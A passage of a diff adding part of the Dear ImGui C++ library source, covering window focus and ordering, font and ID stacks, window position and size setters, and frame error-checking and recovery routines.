(g.Windows[0] == window) + return; + for (int i = 0; i < g.Windows.Size; i++) + if (g.Windows[i] == window) + { + memmove(&g.Windows[1], &g.Windows[0], (size_t)i * sizeof(ImGuiWindow*)); + g.Windows[0] = window; + break; + } +} + +// Moving window to front of display and set focus (which happens to be back of our sorted list) +void ImGui::FocusWindow(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + + if (g.NavWindow != window) + { + g.NavWindow = window; + if (window && g.NavDisableMouseHover) + g.NavMousePosDirty = true; + g.NavInitRequest = false; + g.NavId = window ? window->NavLastIds[0] : 0; // Restore NavId + g.NavFocusScopeId = 0; + g.NavIdIsAlive = false; + g.NavLayer = ImGuiNavLayer_Main; + //IMGUI_DEBUG_LOG("FocusWindow(\"%s\")\n", window ? window->Name : NULL); + } + + // Close popups if any + ClosePopupsOverWindow(window, false); + + // Move the root window to the top of the pile + IM_ASSERT(window == NULL || window->RootWindow != NULL); + ImGuiWindow* focus_front_window = window ? window->RootWindow : NULL; // NB: In docking branch this is window->RootWindowDockStop + ImGuiWindow* display_front_window = window ? window->RootWindow : NULL; + + // Steal active widgets. Some of the cases it triggers includes: + // - Focus a window while an InputText in another window is active, if focus happens before the old InputText can run. + // - When using Nav to activate menu items (due to timing of activating on press->new window appears->losing ActiveId) + if (g.ActiveId != 0 && g.ActiveIdWindow && g.ActiveIdWindow->RootWindow != focus_front_window) + if (!g.ActiveIdNoClearOnFocusLoss) + ClearActiveID(); + + // Passing NULL allow to disable keyboard focus + if (!window) + return; + + // Bring to front + BringWindowToFocusFront(focus_front_window); + if (((window->Flags | display_front_window->Flags) & ImGuiWindowFlags_NoBringToFrontOnFocus) == 0) + BringWindowToDisplayFront(display_front_window); +} + +void ImGui::FocusTopMostWindowUnderOne(ImGuiWindow* under_this_window, ImGuiWindow* ignore_window) +{ + ImGuiContext& g = *GImGui; + + int start_idx = g.WindowsFocusOrder.Size - 1; + if (under_this_window != NULL) + { + int under_this_window_idx = FindWindowFocusIndex(under_this_window); + if (under_this_window_idx != -1) + start_idx = under_this_window_idx - 1; + } + for (int i = start_idx; i >= 0; i--) + { + // We may later decide to test for different NoXXXInputs based on the active navigation input (mouse vs nav) but that may feel more confusing to the user. + ImGuiWindow* window = g.WindowsFocusOrder[i]; + if (window != ignore_window && window->WasActive && !(window->Flags & ImGuiWindowFlags_ChildWindow)) + if ((window->Flags & (ImGuiWindowFlags_NoMouseInputs | ImGuiWindowFlags_NoNavInputs)) != (ImGuiWindowFlags_NoMouseInputs | ImGuiWindowFlags_NoNavInputs)) + { + ImGuiWindow* focus_window = NavRestoreLastChildNavWindow(window); + FocusWindow(focus_window); + return; + } + } + FocusWindow(NULL); +} + +void ImGui::SetCurrentFont(ImFont* font) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(font && font->IsLoaded()); // Font Atlas not created. Did you call io.Fonts->GetTexDataAsRGBA32 / GetTexDataAsAlpha8 ? + IM_ASSERT(font->Scale > 0.0f); + g.Font = font; + g.FontBaseSize = ImMax(1.0f, g.IO.FontGlobalScale * g.Font->FontSize * g.Font->Scale); + g.FontSize = g.CurrentWindow ? g.CurrentWindow->CalcFontSize() : 0.0f; + + ImFontAtlas* atlas = g.Font->ContainerAtlas; + g.DrawListSharedData.TexUvWhitePixel = atlas->TexUvWhitePixel; + g.DrawListSharedData.TexUvLines = atlas->TexUvLines; + g.DrawListSharedData.Font = g.Font; + g.DrawListSharedData.FontSize = g.FontSize; +} + +void ImGui::PushFont(ImFont* font) +{ + ImGuiContext& g = *GImGui; + if (!font) + font = GetDefaultFont(); + SetCurrentFont(font); + g.FontStack.push_back(font); + g.CurrentWindow->DrawList->PushTextureID(font->ContainerAtlas->TexID); +} + +void ImGui::PopFont() +{ + ImGuiContext& g = *GImGui; + g.CurrentWindow->DrawList->PopTextureID(); + g.FontStack.pop_back(); + SetCurrentFont(g.FontStack.empty() ? GetDefaultFont() : g.FontStack.back()); +} + +void ImGui::PushItemFlag(ImGuiItemFlags option, bool enabled) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiItemFlags item_flags = window->DC.ItemFlags; + IM_ASSERT(item_flags == g.ItemFlagsStack.back()); + if (enabled) + item_flags |= option; + else + item_flags &= ~option; + window->DC.ItemFlags = item_flags; + g.ItemFlagsStack.push_back(item_flags); +} + +void ImGui::PopItemFlag() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + IM_ASSERT(g.ItemFlagsStack.Size > 1); // Too many calls to PopItemFlag() - we always leave a 0 at the bottom of the stack. + g.ItemFlagsStack.pop_back(); + window->DC.ItemFlags = g.ItemFlagsStack.back(); +} + +// FIXME: Look into renaming this once we have settled the new Focus/Activation/TabStop system. +void ImGui::PushAllowKeyboardFocus(bool allow_keyboard_focus) +{ + PushItemFlag(ImGuiItemFlags_NoTabStop, !allow_keyboard_focus); +} + +void ImGui::PopAllowKeyboardFocus() +{ + PopItemFlag(); +} + +void ImGui::PushButtonRepeat(bool repeat) +{ + PushItemFlag(ImGuiItemFlags_ButtonRepeat, repeat); +} + +void ImGui::PopButtonRepeat() +{ + PopItemFlag(); +} + +void ImGui::PushTextWrapPos(float wrap_pos_x) +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DC.TextWrapPos = wrap_pos_x; + window->DC.TextWrapPosStack.push_back(wrap_pos_x); +} + +void ImGui::PopTextWrapPos() +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DC.TextWrapPosStack.pop_back(); + window->DC.TextWrapPos = window->DC.TextWrapPosStack.empty() ? -1.0f : window->DC.TextWrapPosStack.back(); +} + +bool ImGui::IsWindowChildOf(ImGuiWindow* window, ImGuiWindow* potential_parent) +{ + if (window->RootWindow == potential_parent) + return true; + while (window != NULL) + { + if (window == potential_parent) + return true; + window = window->ParentWindow; + } + return false; +} + +bool ImGui::IsWindowAbove(ImGuiWindow* potential_above, ImGuiWindow* potential_below) +{ + ImGuiContext& g = *GImGui; + for (int i = g.Windows.Size - 1; i >= 0; i--) + { + ImGuiWindow* candidate_window = g.Windows[i]; + if (candidate_window == potential_above) + return true; + if (candidate_window == potential_below) + return false; + } + return false; +} + +bool ImGui::IsWindowHovered(ImGuiHoveredFlags flags) +{ + IM_ASSERT((flags & ImGuiHoveredFlags_AllowWhenOverlapped) == 0); // Flags not supported by this function + ImGuiContext& g = *GImGui; + + if (flags & ImGuiHoveredFlags_AnyWindow) + { + if (g.HoveredWindow == NULL) + return false; + } + else + { + switch (flags & (ImGuiHoveredFlags_RootWindow | ImGuiHoveredFlags_ChildWindows)) + { + case ImGuiHoveredFlags_RootWindow | ImGuiHoveredFlags_ChildWindows: + if (g.HoveredRootWindow != g.CurrentWindow->RootWindow) + return false; + break; + case ImGuiHoveredFlags_RootWindow: + if (g.HoveredWindow != g.CurrentWindow->RootWindow) + return false; + break; + case ImGuiHoveredFlags_ChildWindows: + if (g.HoveredWindow == NULL || !IsWindowChildOf(g.HoveredWindow, g.CurrentWindow)) + return false; + break; + default: + if (g.HoveredWindow != g.CurrentWindow) + return false; + break; + } + } + + if (!IsWindowContentHoverable(g.HoveredWindow, flags)) + return false; + if (!(flags & ImGuiHoveredFlags_AllowWhenBlockedByActiveItem)) + if (g.ActiveId != 0 && !g.ActiveIdAllowOverlap && g.ActiveId != g.HoveredWindow->MoveId) + return false; + return true; +} + +bool ImGui::IsWindowFocused(ImGuiFocusedFlags flags) +{ + ImGuiContext& g = *GImGui; + + if (flags & ImGuiFocusedFlags_AnyWindow) + return g.NavWindow != NULL; + + IM_ASSERT(g.CurrentWindow); // Not inside a Begin()/End() + switch (flags & (ImGuiFocusedFlags_RootWindow | ImGuiFocusedFlags_ChildWindows)) + { + case ImGuiFocusedFlags_RootWindow | ImGuiFocusedFlags_ChildWindows: + return g.NavWindow && g.NavWindow->RootWindow == g.CurrentWindow->RootWindow; + case ImGuiFocusedFlags_RootWindow: + return g.NavWindow == g.CurrentWindow->RootWindow; + case ImGuiFocusedFlags_ChildWindows: + return g.NavWindow && IsWindowChildOf(g.NavWindow, g.CurrentWindow); + default: + return g.NavWindow == g.CurrentWindow; + } +} + +// Can we focus this window with CTRL+TAB (or PadMenu + PadFocusPrev/PadFocusNext) +// Note that NoNavFocus makes the window not reachable with CTRL+TAB but it can still be focused with mouse or programmatically. +// If you want a window to never be focused, you may use the e.g. NoInputs flag. +bool ImGui::IsWindowNavFocusable(ImGuiWindow* window) +{ + return window->WasActive && window == window->RootWindow && !(window->Flags & ImGuiWindowFlags_NoNavFocus); +} + +float ImGui::GetWindowWidth() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->Size.x; +} + +float ImGui::GetWindowHeight() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->Size.y; +} + +ImVec2 ImGui::GetWindowPos() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + return window->Pos; +} + +void ImGui::SetWindowPos(ImGuiWindow* window, const ImVec2& pos, ImGuiCond cond) +{ + // Test condition (NB: bit 0 is always true) and clear flags for next time + if (cond && (window->SetWindowPosAllowFlags & cond) == 0) + return; + + IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. + window->SetWindowPosAllowFlags &= ~(ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing); + window->SetWindowPosVal = ImVec2(FLT_MAX, FLT_MAX); + + // Set + const ImVec2 old_pos = window->Pos; + window->Pos = ImFloor(pos); + ImVec2 offset = window->Pos - old_pos; + window->DC.CursorPos += offset; // As we happen to move the window while it is being appended to (which is a bad idea - will smear) let's at least offset the cursor + window->DC.CursorMaxPos += offset; // And more importantly we need to offset CursorMaxPos/CursorStartPos this so ContentSize calculation doesn't get affected. + window->DC.CursorStartPos += offset; +} + +void ImGui::SetWindowPos(const ImVec2& pos, ImGuiCond cond) +{ + ImGuiWindow* window = GetCurrentWindowRead(); + SetWindowPos(window, pos, cond); +} + +void ImGui::SetWindowPos(const char* name, const ImVec2& pos, ImGuiCond cond) +{ + if (ImGuiWindow* window = FindWindowByName(name)) + SetWindowPos(window, pos, cond); +} + +ImVec2 ImGui::GetWindowSize() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->Size; +} + +void ImGui::SetWindowSize(ImGuiWindow* window, const ImVec2& size, ImGuiCond cond) +{ + // Test condition (NB: bit 0 is always true) and clear flags for next time + if (cond && (window->SetWindowSizeAllowFlags & cond) == 0) + return; + + IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. + window->SetWindowSizeAllowFlags &= ~(ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing); + + // Set + if (size.x > 0.0f) + { + window->AutoFitFramesX = 0; + window->SizeFull.x = IM_FLOOR(size.x); + } + else + { + window->AutoFitFramesX = 2; + window->AutoFitOnlyGrows = false; + } + if (size.y > 0.0f) + { + window->AutoFitFramesY = 0; + window->SizeFull.y = IM_FLOOR(size.y); + } + else + { + window->AutoFitFramesY = 2; + window->AutoFitOnlyGrows = false; + } +} + +void ImGui::SetWindowSize(const ImVec2& size, ImGuiCond cond) +{ + SetWindowSize(GImGui->CurrentWindow, size, cond); +} + +void ImGui::SetWindowSize(const char* name, const ImVec2& size, ImGuiCond cond) +{ + if (ImGuiWindow* window = FindWindowByName(name)) + SetWindowSize(window, size, cond); +} + +void ImGui::SetWindowCollapsed(ImGuiWindow* window, bool collapsed, ImGuiCond cond) +{ + // Test condition (NB: bit 0 is always true) and clear flags for next time + if (cond && (window->SetWindowCollapsedAllowFlags & cond) == 0) + return; + window->SetWindowCollapsedAllowFlags &= ~(ImGuiCond_Once | ImGuiCond_FirstUseEver | ImGuiCond_Appearing); + + // Set + window->Collapsed = collapsed; +} + +void ImGui::SetWindowHitTestHole(ImGuiWindow* window, const ImVec2& pos, const ImVec2& size) +{ + IM_ASSERT(window->HitTestHoleSize.x == 0); // We don't support multiple holes/hit test filters + window->HitTestHoleSize = ImVec2ih(size); + window->HitTestHoleOffset = ImVec2ih(pos - window->Pos); +} + +void ImGui::SetWindowCollapsed(bool collapsed, ImGuiCond cond) +{ + SetWindowCollapsed(GImGui->CurrentWindow, collapsed, cond); +} + +bool ImGui::IsWindowCollapsed() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->Collapsed; +} + +bool ImGui::IsWindowAppearing() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->Appearing; +} + +void ImGui::SetWindowCollapsed(const char* name, bool collapsed, ImGuiCond cond) +{ + if (ImGuiWindow* window = FindWindowByName(name)) + SetWindowCollapsed(window, collapsed, cond); +} + +void ImGui::SetWindowFocus() +{ + FocusWindow(GImGui->CurrentWindow); +} + +void ImGui::SetWindowFocus(const char* name) +{ + if (name) + { + if (ImGuiWindow* window = FindWindowByName(name)) + FocusWindow(window); + } + else + { + FocusWindow(NULL); + } +} + +void ImGui::SetNextWindowPos(const ImVec2& pos, ImGuiCond cond, const ImVec2& pivot) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasPos; + g.NextWindowData.PosVal = pos; + g.NextWindowData.PosPivotVal = pivot; + g.NextWindowData.PosCond = cond ? cond : ImGuiCond_Always; +} + +void ImGui::SetNextWindowSize(const ImVec2& size, ImGuiCond cond) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasSize; + g.NextWindowData.SizeVal = size; + g.NextWindowData.SizeCond = cond ? cond : ImGuiCond_Always; +} + +void ImGui::SetNextWindowSizeConstraints(const ImVec2& size_min, const ImVec2& size_max, ImGuiSizeCallback custom_callback, void* custom_callback_user_data) +{ + ImGuiContext& g = *GImGui; + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasSizeConstraint; + g.NextWindowData.SizeConstraintRect = ImRect(size_min, size_max); + g.NextWindowData.SizeCallback = custom_callback; + g.NextWindowData.SizeCallbackUserData = custom_callback_user_data; +} + +// Content size = inner scrollable rectangle, padded with WindowPadding. +// SetNextWindowContentSize(ImVec2(100,100) + ImGuiWindowFlags_AlwaysAutoResize will always allow submitting a 100x100 item. +void ImGui::SetNextWindowContentSize(const ImVec2& size) +{ + ImGuiContext& g = *GImGui; + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasContentSize; + g.NextWindowData.ContentSizeVal = size; +} + +void ImGui::SetNextWindowScroll(const ImVec2& scroll) +{ + ImGuiContext& g = *GImGui; + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasScroll; + g.NextWindowData.ScrollVal = scroll; +} + +void ImGui::SetNextWindowCollapsed(bool collapsed, ImGuiCond cond) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(cond == 0 || ImIsPowerOfTwo(cond)); // Make sure the user doesn't attempt to combine multiple condition flags. + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasCollapsed; + g.NextWindowData.CollapsedVal = collapsed; + g.NextWindowData.CollapsedCond = cond ? cond : ImGuiCond_Always; +} + +void ImGui::SetNextWindowFocus() +{ + ImGuiContext& g = *GImGui; + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasFocus; +} + +void ImGui::SetNextWindowBgAlpha(float alpha) +{ + ImGuiContext& g = *GImGui; + g.NextWindowData.Flags |= ImGuiNextWindowDataFlags_HasBgAlpha; + g.NextWindowData.BgAlphaVal = alpha; +} + +ImDrawList* ImGui::GetWindowDrawList() +{ + ImGuiWindow* window = GetCurrentWindow(); + return window->DrawList; +} + +ImFont* ImGui::GetFont() +{ + return GImGui->Font; +} + +float ImGui::GetFontSize() +{ + return GImGui->FontSize; +} + +ImVec2 ImGui::GetFontTexUvWhitePixel() +{ + return GImGui->DrawListSharedData.TexUvWhitePixel; +} + +void ImGui::SetWindowFontScale(float scale) +{ + IM_ASSERT(scale > 0.0f); + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + window->FontWindowScale = scale; + g.FontSize = g.DrawListSharedData.FontSize = window->CalcFontSize(); +} + +void ImGui::ActivateItem(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + g.NavNextActivateId = id; +} + +void ImGui::PushFocusScope(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + g.FocusScopeStack.push_back(window->DC.NavFocusScopeIdCurrent); + window->DC.NavFocusScopeIdCurrent = id; +} + +void ImGui::PopFocusScope() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + IM_ASSERT(g.FocusScopeStack.Size > 0); // Too many PopFocusScope() ? + window->DC.NavFocusScopeIdCurrent = g.FocusScopeStack.back(); + g.FocusScopeStack.pop_back(); +} + +void ImGui::SetKeyboardFocusHere(int offset) +{ + IM_ASSERT(offset >= -1); // -1 is allowed but not below + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + g.FocusRequestNextWindow = window; + g.FocusRequestNextCounterRegular = window->DC.FocusCounterRegular + 1 + offset; + g.FocusRequestNextCounterTabStop = INT_MAX; +} + +void ImGui::SetItemDefaultFocus() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (!window->Appearing) + return; + if (g.NavWindow == window->RootWindowForNav && (g.NavInitRequest || g.NavInitResultId != 0) && g.NavLayer == g.NavWindow->DC.NavLayerCurrent) + { + g.NavInitRequest = false; + g.NavInitResultId = g.NavWindow->DC.LastItemId; + g.NavInitResultRectRel = ImRect(g.NavWindow->DC.LastItemRect.Min - g.NavWindow->Pos, g.NavWindow->DC.LastItemRect.Max - g.NavWindow->Pos); + NavUpdateAnyRequestFlag(); + if (!IsItemVisible()) + SetScrollHereY(); + } +} + +void ImGui::SetStateStorage(ImGuiStorage* tree) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + window->DC.StateStorage = tree ? tree : &window->StateStorage; +} + +ImGuiStorage* ImGui::GetStateStorage() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->DC.StateStorage; +} + +void ImGui::PushID(const char* str_id) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiID id = window->GetIDNoKeepAlive(str_id); + window->IDStack.push_back(id); +} + +void ImGui::PushID(const char* str_id_begin, const char* str_id_end) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiID id = window->GetIDNoKeepAlive(str_id_begin, str_id_end); + window->IDStack.push_back(id); +} + +void ImGui::PushID(const void* ptr_id) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiID id = window->GetIDNoKeepAlive(ptr_id); + window->IDStack.push_back(id); +} + +void ImGui::PushID(int int_id) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiID id = window->GetIDNoKeepAlive(int_id); + window->IDStack.push_back(id); +} + +// Push a given id value ignoring the ID stack as a seed. +void ImGui::PushOverrideID(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + window->IDStack.push_back(id); +} + +// Helper to avoid a common series of PushOverrideID -> GetID() -> PopID() call +// (note that when using this pattern, TestEngine's "Stack Tool" will tend to not display the intermediate stack level. +// for that to work we would need to do PushOverrideID() -> ItemAdd() -> PopID() which would alter widget code a little more) +ImGuiID ImGui::GetIDWithSeed(const char* str, const char* str_end, ImGuiID seed) +{ + ImGuiID id = ImHashStr(str, str_end ? (str_end - str) : 0, seed); + ImGui::KeepAliveID(id); +#ifdef IMGUI_ENABLE_TEST_ENGINE + ImGuiContext& g = *GImGui; + IMGUI_TEST_ENGINE_ID_INFO2(id, ImGuiDataType_String, str, str_end); +#endif + return id; +} + +void ImGui::PopID() +{ + ImGuiWindow* window = GImGui->CurrentWindow; + IM_ASSERT(window->IDStack.Size > 1); // Too many PopID(), or could be popping in a wrong/different window? + window->IDStack.pop_back(); +} + +ImGuiID ImGui::GetID(const char* str_id) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->GetID(str_id); +} + +ImGuiID ImGui::GetID(const char* str_id_begin, const char* str_id_end) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->GetID(str_id_begin, str_id_end); +} + +ImGuiID ImGui::GetID(const void* ptr_id) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->GetID(ptr_id); +} + +bool ImGui::IsRectVisible(const ImVec2& size) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->ClipRect.Overlaps(ImRect(window->DC.CursorPos, window->DC.CursorPos + size)); +} + +bool ImGui::IsRectVisible(const ImVec2& rect_min, const ImVec2& rect_max) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + return window->ClipRect.Overlaps(ImRect(rect_min, rect_max)); +} + + +//----------------------------------------------------------------------------- +// [SECTION] ERROR CHECKING +//----------------------------------------------------------------------------- + +// Helper function to verify ABI compatibility between caller code and compiled version of Dear ImGui. +// Verify that the type sizes are matching between the calling file's compilation unit and imgui.cpp's compilation unit +// If the user has inconsistent compilation settings, imgui configuration #define, packing pragma, etc. your user code +// may see different structures than what imgui.cpp sees, which is problematic. +// We usually require settings to be in imconfig.h to make sure that they are accessible to all compilation units involved with Dear ImGui. +bool ImGui::DebugCheckVersionAndDataLayout(const char* version, size_t sz_io, size_t sz_style, size_t sz_vec2, size_t sz_vec4, size_t sz_vert, size_t sz_idx) +{ + bool error = false; + if (strcmp(version, IMGUI_VERSION) != 0) { error = true; IM_ASSERT(strcmp(version, IMGUI_VERSION) == 0 && "Mismatched version string!"); } + if (sz_io != sizeof(ImGuiIO)) { error = true; IM_ASSERT(sz_io == sizeof(ImGuiIO) && "Mismatched struct layout!"); } + if (sz_style != sizeof(ImGuiStyle)) { error = true; IM_ASSERT(sz_style == sizeof(ImGuiStyle) && "Mismatched struct layout!"); } + if (sz_vec2 != sizeof(ImVec2)) { error = true; IM_ASSERT(sz_vec2 == sizeof(ImVec2) && "Mismatched struct layout!"); } + if (sz_vec4 != sizeof(ImVec4)) { error = true; IM_ASSERT(sz_vec4 == sizeof(ImVec4) && "Mismatched struct layout!"); } + if (sz_vert != sizeof(ImDrawVert)) { error = true; IM_ASSERT(sz_vert == sizeof(ImDrawVert) && "Mismatched struct layout!"); } + if (sz_idx != sizeof(ImDrawIdx)) { error = true; IM_ASSERT(sz_idx == sizeof(ImDrawIdx) && "Mismatched struct layout!"); } + return !error; +} + +static void ImGui::ErrorCheckNewFrameSanityChecks() +{ + ImGuiContext& g = *GImGui; + + // Check user IM_ASSERT macro + // (IF YOU GET A WARNING OR COMPILE ERROR HERE: it means you assert macro is incorrectly defined! + // If your macro uses multiple statements, it NEEDS to be surrounded by a 'do { ... } while (0)' block. + // This is a common C/C++ idiom to allow multiple statements macros to be used in control flow blocks.) + // #define IM_ASSERT(EXPR) if (SomeCode(EXPR)) SomeMoreCode(); // Wrong! + // #define IM_ASSERT(EXPR) do { if (SomeCode(EXPR)) SomeMoreCode(); } while (0) // Correct! + if (true) IM_ASSERT(1); else IM_ASSERT(0); + + // Check user data + // (We pass an error message in the assert expression to make it visible to programmers who are not using a debugger, as most assert handlers display their argument) + IM_ASSERT(g.Initialized); + IM_ASSERT((g.IO.DeltaTime > 0.0f || g.FrameCount == 0) && "Need a positive DeltaTime!"); + IM_ASSERT((g.FrameCount == 0 || g.FrameCountEnded == g.FrameCount) && "Forgot to call Render() or EndFrame() at the end of the previous frame?"); + IM_ASSERT(g.IO.DisplaySize.x >= 0.0f && g.IO.DisplaySize.y >= 0.0f && "Invalid DisplaySize value!"); + IM_ASSERT(g.IO.Fonts->Fonts.Size > 0 && "Font Atlas not built. Did you call io.Fonts->GetTexDataAsRGBA32() / GetTexDataAsAlpha8()?"); + IM_ASSERT(g.IO.Fonts->Fonts[0]->IsLoaded() && "Font Atlas not built. Did you call io.Fonts->GetTexDataAsRGBA32() / GetTexDataAsAlpha8()?"); + IM_ASSERT(g.Style.CurveTessellationTol > 0.0f && "Invalid style setting!"); + IM_ASSERT(g.Style.CircleSegmentMaxError > 0.0f && "Invalid style setting!"); + IM_ASSERT(g.Style.Alpha >= 0.0f && g.Style.Alpha <= 1.0f && "Invalid style setting!"); // Allows us to avoid a few clamps in color computations + IM_ASSERT(g.Style.WindowMinSize.x >= 1.0f && g.Style.WindowMinSize.y >= 1.0f && "Invalid style setting."); + IM_ASSERT(g.Style.WindowMenuButtonPosition == ImGuiDir_None || g.Style.WindowMenuButtonPosition == ImGuiDir_Left || g.Style.WindowMenuButtonPosition == ImGuiDir_Right); + for (int n = 0; n < ImGuiKey_COUNT; n++) + IM_ASSERT(g.IO.KeyMap[n] >= -1 && g.IO.KeyMap[n] < IM_ARRAYSIZE(g.IO.KeysDown) && "io.KeyMap[] contains an out of bound value (need to be 0..512, or -1 for unmapped key)"); + + // Check: required key mapping (we intentionally do NOT check all keys to not pressure user into setting up everything, but Space is required and was only added in 1.60 WIP) + if (g.IO.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) + IM_ASSERT(g.IO.KeyMap[ImGuiKey_Space] != -1 && "ImGuiKey_Space is not mapped, required for keyboard navigation."); + + // Check: the io.ConfigWindowsResizeFromEdges option requires backend to honor mouse cursor changes and set the ImGuiBackendFlags_HasMouseCursors flag accordingly. + if (g.IO.ConfigWindowsResizeFromEdges && !(g.IO.BackendFlags & ImGuiBackendFlags_HasMouseCursors)) + g.IO.ConfigWindowsResizeFromEdges = false; +} + +static void ImGui::ErrorCheckEndFrameSanityChecks() +{ + ImGuiContext& g = *GImGui; + + // Verify that io.KeyXXX fields haven't been tampered with. Key mods should not be modified between NewFrame() and EndFrame() + // One possible reason leading to this assert is that your backends update inputs _AFTER_ NewFrame(). + // It is known that when some modal native windows called mid-frame takes focus away, some backends such as GLFW will + // send key release events mid-frame. This would normally trigger this assertion and lead to sheared inputs. + // We silently accommodate for this case by ignoring/ the case where all io.KeyXXX modifiers were released (aka key_mod_flags == 0), + // while still correctly asserting on mid-frame key press events. + const ImGuiKeyModFlags key_mod_flags = GetMergedKeyModFlags(); + IM_ASSERT((key_mod_flags == 0 || g.IO.KeyMods == key_mod_flags) && "Mismatching io.KeyCtrl/io.KeyShift/io.KeyAlt/io.KeySuper vs io.KeyMods"); + IM_UNUSED(key_mod_flags); + + // Recover from errors + //ErrorCheckEndFrameRecover(); + + // Report when there is a mismatch of Begin/BeginChild vs End/EndChild calls. Important: Remember that the Begin/BeginChild API requires you + // to always call End/EndChild even if Begin/BeginChild returns false! (this is unfortunately inconsistent with most other Begin* API). + if (g.CurrentWindowStack.Size != 1) + { + if (g.CurrentWindowStack.Size > 1) + { + IM_ASSERT_USER_ERROR(g.CurrentWindowStack.Size == 1, "Mismatched Begin/BeginChild vs End/EndChild calls: did you forget to call End/EndChild?"); + while (g.CurrentWindowStack.Size > 1) + End(); + } + else + { + IM_ASSERT_USER_ERROR(g.CurrentWindowStack.Size == 1, "Mismatched Begin/BeginChild vs End/EndChild calls: did you call End/EndChild too much?"); + } + } + + IM_ASSERT_USER_ERROR(g.GroupStack.Size == 0, "Missing EndGroup call!"); +} + +// Experimental recovery from incorrect usage of BeginXXX/EndXXX/PushXXX/PopXXX calls. +// Must be called during or before EndFrame(). +// This is generally flawed as we are not necessarily End/Popping things in the right order. +// FIXME: Can't recover from inside BeginTabItem/EndTabItem yet. +// FIXME: Can't recover from interleaved BeginTabBar/Begin +void ImGui::ErrorCheckEndFrameRecover(ImGuiErrorLogCallback log_callback, void* user_data) +{ + // PVS-Studio V1044 is "Loop break conditions do not depend on the number of iterations" + ImGuiContext& g = *GImGui; + while (g.CurrentWindowStack.Size > 0) + { +#ifdef IMGUI_HAS_TABLE + while (g.CurrentTable && (g.CurrentTable->OuterWindow == g.CurrentWindow || g.CurrentTable->InnerWindow == g.CurrentWindow)) + { + if (log_callback) log_callback(user_data, "Recovered from missing EndTable() in '%s'", g.CurrentTable->OuterWindow->Name); + EndTable(); + } +#endif + ImGuiWindow* window = g.CurrentWindow; + IM_ASSERT(window != NULL); + while (g.CurrentTabBar != NULL) //-V1044 + { + if (log_callback) log_callback(user_data, "Recovered from missing EndTabBar() in '%s'", window->Name); + EndTabBar(); + } + while (window->DC.TreeDepth > 0) + { + if (log_callback) log_callback(user_data, "Recovered from missing TreePop() in '%s'", window->Name); + TreePop(); + } + while (g.GroupStack.Size > window->DC.StackSizesOnBegin.SizeOfGroupStack) + { + if (log_callback) log_callback(user_data, "Recovered from missing EndGroup() in '%s'", window->Name); + EndGroup(); + } + while (window->IDStack.Size > 1) + { + if (log_callback) log_callback(user_data, "Recovered from missing PopID() in '%s'", window->Name); + PopID(); + } + while (g.ColorStack.Size > window->DC.StackSizesOnBegin.SizeOfColorStack) + { + if (log_callback) log_callback(user_data, "Recovered from missing PopStyleColor() in '%s' for ImGuiCol_%s", window->Name, GetStyleColorName(g.ColorStack.back().Col)); + PopStyleColor(); + } + while (g.StyleVarStack.Size > window->DC.StackSizesOnBegin.SizeOfStyleVarStack) + { + if (log_callback) log_callback(user_data, "Recovered from missing PopStyleVar() in '%s'", window->Name); + PopStyleVar(); + } + while (g.FocusScopeStack.Size > window->DC.StackSizesOnBegin.SizeOfFocusScopeStack) + { + if (log_callback) log_callback(user_data, "Recovered from missing PopFocusScope() in '%s'", window->Name); + PopFocusScope(); + } + if (g.CurrentWindowStack.Size == 1) + { + 